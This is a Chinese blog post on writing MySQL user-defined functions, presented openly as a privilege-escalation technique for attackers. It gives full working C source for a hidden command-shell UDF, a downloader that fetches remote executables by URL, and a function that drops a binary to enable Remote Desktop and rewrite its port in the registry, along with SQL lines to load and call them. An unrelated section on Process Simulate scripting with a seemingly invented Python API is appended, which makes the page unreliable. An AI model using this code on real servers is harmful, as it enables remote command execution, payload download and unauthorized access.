UDF开发过程及其细节

UDF(用户定义函数)是一类对MYSQL服务器功能进行扩充的代码,通常是用C(或C++)写的。通过添加新函数,性质就象使用本地MYSQL函数abs()或concat()。当你需要扩展MYSQL服务器功能时,UDF通常是最好的选择。但同时,UDF也是黑客们在拥有低权限mysql账号时比较好用的一种提权方法。

原理

  MySQL添加新函数:

1.自定义函数(UDF):使得UDF机制能够起作用,必须使用C或者C++编写函数,系统必须支持动态加载。UDF中xxx函数的编写,来实现接口的C/C++ 函数如下:

(1)xxx() (必有):主函数。

SQL 类型 C/C++ 类型

STRINGchar *

INTEGERlong long

REALdouble

(2)xxx_init() (可选):初始化函数

检查传递给xxx()的参量数目。

检查参量是否为必需的类型,或者,除此之外,在主函数被调用的时候告诉MySQL将参量强制为想要的类型。

分配主函数需要的内存。

指定结果的最大长度。

指定(对于REAL 函数)小数的最多位数。

指定结果是否可以为 NULL

(3)xxx_deinit() (可选):去初始化,释放初始化函数分配的内存。

  (4)xxx_clear()未研究

  (5)xxx_add() 未研究

      2.创建存储函数

注意事项:

1.主函数xxx()

对于STRING 型函数:

char *xxx(UDF_INIT *initid, UDF_ARGS *args,

         char *result, unsigned long *length,

         char *is_null, char *error);

对于INTEGER型函数:

long long xxx(UDF_INIT *initid, UDF_ARGS *args,

             char *is_null, char *error);

对于REAL型函数:

double xxx(UDF_INIT *initid, UDF_ARGS *args,

             char *is_null, char *error);

2.UDF变量类型说明UDF_INIT、 UDF_ARGS、my_bool

type char my_bool

enum Item_result {STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT,DECIMAL_RESULT};

typedef struct st_udf_args

{

  unsigned int arg_count; /* Number of arguments- -参数个数 */

  enum Item_result *arg_type; /* Pointer to item_results --参数类型*/

  char **args; /* Pointer to argument--参数指针 */

  unsigned long *lengths; /* Length of string arguments--参数长度 */

  char *maybe_null; /* Set to 1 for all maybe_null args --1表示空,是否表示空*/

  char **attributes;                    /* Pointer to attribute name --参数属性的指针*/

  unsigned long *attribute_lengths;     /* Length of attribute arguments --指向内容的长度*/

  void *extension; /*扩展指针*/

} UDF_ARGS;


 typedef struct st_udf_init

{

  my_bool maybe_null;          /* 1 if function can return NULL--返回值可为空 */

  unsigned int decimals;       /* for real functions --设置小数点后长度*/

  unsigned long max_length;    /* For string functions --结果返回最大长度*/

  char *ptr;                   /* free pointer for function data --字符指针,一般init内分配的内存地址给ptr*/

  my_bool const_item;          /* 1 if function always returns the same value --是否返回固定结果*/

  void *extension;

} UDF_INIT;

3.查看3389是否开启:netstat -ano -p tcp | find "3389" >nul 2>nul && echo 3389 open! || echo 3389 not open!

流程

1.安装mysqlsdk

2.vc6.0,;其中从sdk中添加额外的头文件:mysql.h、my_alloc.h、my_list.h、mysql_com.h、mysql_time.h、mysql_version.h。

3.参考mysql-udf文档:http://dev.mysql.com/doc/refman/5.1/zh/extending-mysql.html#udf-calling

细节

MYSQL有一个开发包,它定义了自己的接口,变量类型,以及函数执行顺序.根据提权,UDF大致功能有:cmdshell、downloader、open3389 、backshell 、ProcessView 、KillProcess regread regwrite 、 关机,注销,重启、about

    UDF函数使用:CREATE function 函数  returns string soname 'myudf.dll';select 函数(参数)

    cmdshell:create function cmdshell returns string soname 'myudf.dll'; select cmdshell('netstat');

    download: create function download returns string soname 'myudf.dll'; select download('http://10.0.0.1/a.exe','d:\\c.exe');


程序代码:

      【cmdshell】

extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args, char *message)  

{

    //return 1出错 ,0 正常  

  initid->max_length=65*1024*1024;  

  return 0;  

}  

extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)  

{  


  if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args[0],"help")==0)  

  {  

    initid->ptr=(char *)malloc(200);  

    if(initid->ptr==NULL)return NULL;  

    strcpy(initid->ptr,"执行CMD Shell函数.\r\n:select cmdshell(\"dir c:\\\\\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");  

    *length=strlen(initid->ptr);  

    return initid->ptr;  

  }  


  int RunStatus=0;  

  char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];  

  DWORD size=0,len;  

  HANDLE hFile;  

  GetSystemDirectory(ShellPath,MAX_PATH-1);  

  strcat(ShellPath,"\\cmd.exe");  

  GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);  

  strcat(TempFilePath,"\\2351213.tmp");  

  cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);  

    //形成命令:‘cmd  /c  命令  >  临时文件’

 strcpy(cmdline," /c ");  

  strcat(cmdline,(args->args)[0]);  

  strcat(cmdline,">");  

  strcat(cmdline,TempFilePath);  


  STARTUPINFO si;                    //结构用于指定新进程的主窗口特性

  PROCESS_INFORMATION pi;  //创建进程时相关的数据结构之一,该结构返回有关新进程及其主线程的信息

  ZeroMemory( &si, sizeof(si) );  

  si.wShowWindow=SW_HIDE;  

  si.cb = sizeof(si);  

  ZeroMemory( &pi, sizeof(pi) );  

  RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);  

  free(cmdline);  

  if(!RunStatus)  

  {  

    itoa(GetLastError(),temp,10);  

    sprintf(temp,"Shell无法启动,GetLastError=%s\n",temp);  

    initid->ptr=(char *)malloc(strlen(temp)+1);  

    strcpy(initid->ptr,temp);  

    (*length)=strlen(initid->ptr);  

    return initid->ptr;  

  }  

  WaitForSingleObject(pi.hProcess,30000);  

  //获得结果  

  hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL);  

  if(hFile!=INVALID_HANDLE_VALUE)  

  {  

    size=GetFileSize(hFile,NULL);  

    initid->ptr=(char *)malloc(size+100);  

    ReadFile(hFile,initid->ptr,size+1,&len,NULL);  

    (initid->ptr)[size]='\0';  

    strcat(initid->ptr,"\r\n--------------------------------------------完成!\r\n");  

    CloseHandle(hFile);  

    DeleteFile(TempFilePath);  

  }  

  else  

  {  

    initid->ptr=(char *)malloc(100);  

    strcpy(initid->ptr,"\r\n--------------------------------------------完成!\r\n");  

  }  

  (*length)=strlen(initid->ptr);  

  return initid->ptr;  

}  

extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)  

{  

  if(initid->ptr!=NULL)  

   free(initid->ptr);  

}  

【download】

extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args, char *message)  
{//return 1出错 ,0 正常  
  initid->max_length=65*1024*1024;  
  return 0;  
}  
extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)  
{  
  if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=STRING_RESULT || stricmp(args->args[0],"help")==0)  
  {  
    initid->ptr=(char *)malloc(200);  
    if(initid->ptr==NULL)return NULL;  
    strcpy(initid->ptr,"下载者函数\r\n:select downloader(\"http://www.baidu.com/server.exe\",\"c:\\\\winnt\\\\system32\\\\ser.exe\");\r\n参数中的\"\\\"要用\"\\\\\"代替.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  

  HANDLE hFile;  
  char path[MAX_PATH];  


  strcpy(path,(args->args)[1]);  
    
  hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,Create_ALWAYS,0,NULL);  
  if(hFile==INVALID_HANDLE_VALUE)  
  {  
    initid->ptr=(char *)malloc(100+strlen(path));  
    sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  CloseHandle(hFile);  
  DeleteFile(path);  
    
  if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)  
  {  
    initid->ptr=(char *)malloc(50+strlen(path));  
    sprintf(initid->ptr,"下载文件成功(%s).",path);  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  else  
  {  
    initid->ptr=(char *)malloc(100+strlen((args->args)[0]));  
    sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  

}  
extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)  
{  
  if(initid->ptr)  
    free(initid->ptr);  
}  

【open3389】

extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args, char *message)  
{//return 1出错 ,0 正常  
  initid->max_length=65*1024*1024;  
  return 0;  
}  
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char *result, unsigned long *length,char *is_null, char *error)  
{  
  if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))  
  {  
    initid->ptr=(char *)malloc(200);  
    if(initid->ptr==NULL)return NULL;  
    strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.\r\n:select open3389([端口]);");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  

  HRSRC hrsrc1;  
  HGLOBAL hglobal1;  
  HANDLE hFile;  
  char path[MAX_PATH];  
  DWORD size,size2;  

  GetEnvironmentVariable("temp",path,MAX_PATH-1);  
  strcat(path,"\\457391.exe");  

  hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");  
  if(hrsrc1==NULL)  
  {  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  size=SizeofResource((HMODULE)g_module, hrsrc1);  
  hglobal1=LoadResource((HMODULE)g_module, hrsrc1);  
  if(hglobal1==NULL)  
  {  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  


  hFile = CreateFile(path,GENERIC_WRITE,0, NULL,Create_ALWAYS,0,NULL);  
  if(hFile==INVALID_HANDLE_VALUE)  
  {  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);  
  CloseHandle(hFile);  
  GlobalFree(hglobal1);  



  STARTUPINFO si;  
  PROCESS_INFORMATION pi;  
  ZeroMemory( &si, sizeof(si) );  
  si.wShowWindow=SW_HIDE;  
  si.cb = sizeof(si);  
  ZeroMemory( &pi, sizeof(pi) );  
  bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,&pi);  
  if(!RunStatus)  
  {  
    DeleteFile(path);  
    initid->ptr=(char *)malloc(100);  
    strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
  WaitForSingleObject(pi.hProcess,5000);  
  DeleteFile(path);  
  //改端口  
  if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT)  
  {  
    HKEY key;  
    DWORD dwDisposition;  
    DWORD port=*((long long *) args->args[0]);  

    RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);  
    if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))  
    {  
      RegCloseKey(key);  
      RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Wds\\rdpwd\\Tds\\tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);  
      if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))  
      {  
        RegCloseKey(key);  
        initid->ptr=(char *)malloc(100);  
        sprintf(initid->ptr,"成功开启3389终端服务....\r\n成功修改终端服务端口为%d,重启后生效,重启系统可利用WindowsExit函数.",port);  
        *length=strlen(initid->ptr);  
        return initid->ptr;  
      }  
    }  
    RegCloseKey(key);  
    initid->ptr=(char *)malloc(100);  
    sprintf(initid->ptr,"成功开启3389终端服务....\r\n修改终端服务端口失败.");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
      
  }  
  else  
  {  
    initid->ptr=(char *)malloc(100);  
    sprintf(initid->ptr,"成功开启3389终端服务.\r\n");  
    *length=strlen(initid->ptr);  
    return initid->ptr;  
  }  
}  
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)  
{  
  if(initid->ptr)  
    free(initid->ptr);  
}  

。。。待续

### 关于Process Simulate的二次开发方法 #### 高级编程技巧概述 在工业仿真领域,Tecnomatix Process Simulate 是一款功能强大的工具,用于模拟复杂的制造和装配过程。为了实现更高程度的功能定制化以及满足特定需求,开发者可以借助该软件提供的 API 和脚本接口完成二次开发工作[^2]。 #### 数据处理与交互 Process Simulate 支持通过外部数据源导入参数并将其应用于模型中。例如,在实际应用过程中,可以通过 Excel 或数据库连接的方式读取工艺参数,并自动更新到对应的工位或设备属性里。这种能力极大地增强了仿真的灵活性和适应性[^2]。 对于 Python 脚本的支持也是 Process Simulate 的一大亮点之一。Python 可被用来扩展应用程序逻辑或者自动化重复性的任务。下面是一个简单的例子展示如何利用 Python 来遍历所有的 Operation 并打印它们的名字: ```python from tecnomatix import process_simulate as ps def list_operations(): operations = ps.get_all_operations() for op in operations: print(op.name) list_operations() ``` 此代码片段展示了基础的操作访问方式;然而,针对更深层次的对象操控,则需深入研究官方文档来获取详细的类结构说明及其成员函数定义。 #### 复杂流程建模 当面对高度定制化的生产线布局设计时,可能需要创建特殊的动作序列或是条件分支路径。这通常涉及到对标准库之外的动作单元进行增强甚至完全重新定义新的行为模式。此时就需要运用 UDF (User Defined Function) 技术来自由组合基本构建块形成全新的解决方案[^1]。 另外值得注意的是,在某些特殊情况下如果默认提供的图形界面不足以表达全部细节的话,还可以考虑采用 XML 文件形式描述整个场景配置信息,再加载回系统内部渲染出来供进一步编辑调整[^3]。 #### 自定义模块开发 除了直接修改现有对象外,还允许用户独立封装一系列关联紧密的方法集合成为一个单独可移植的插件包。这样的好处在于不仅简化了跨项目的资源共享难度同时也促进了团队协作效率提升因为每个人都可以专注于自己擅长的部分而不必担心破坏别人的工作成果[^4]。 具体来说,要制作这样一个附加组件大致遵循以下几个原则: - 明确目标范围; - 设计清晰易懂的对外接口; - 测试充分验证稳定性可靠性; 最后打包发布给其他使用者安装部署即可享受便利之处啦! ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值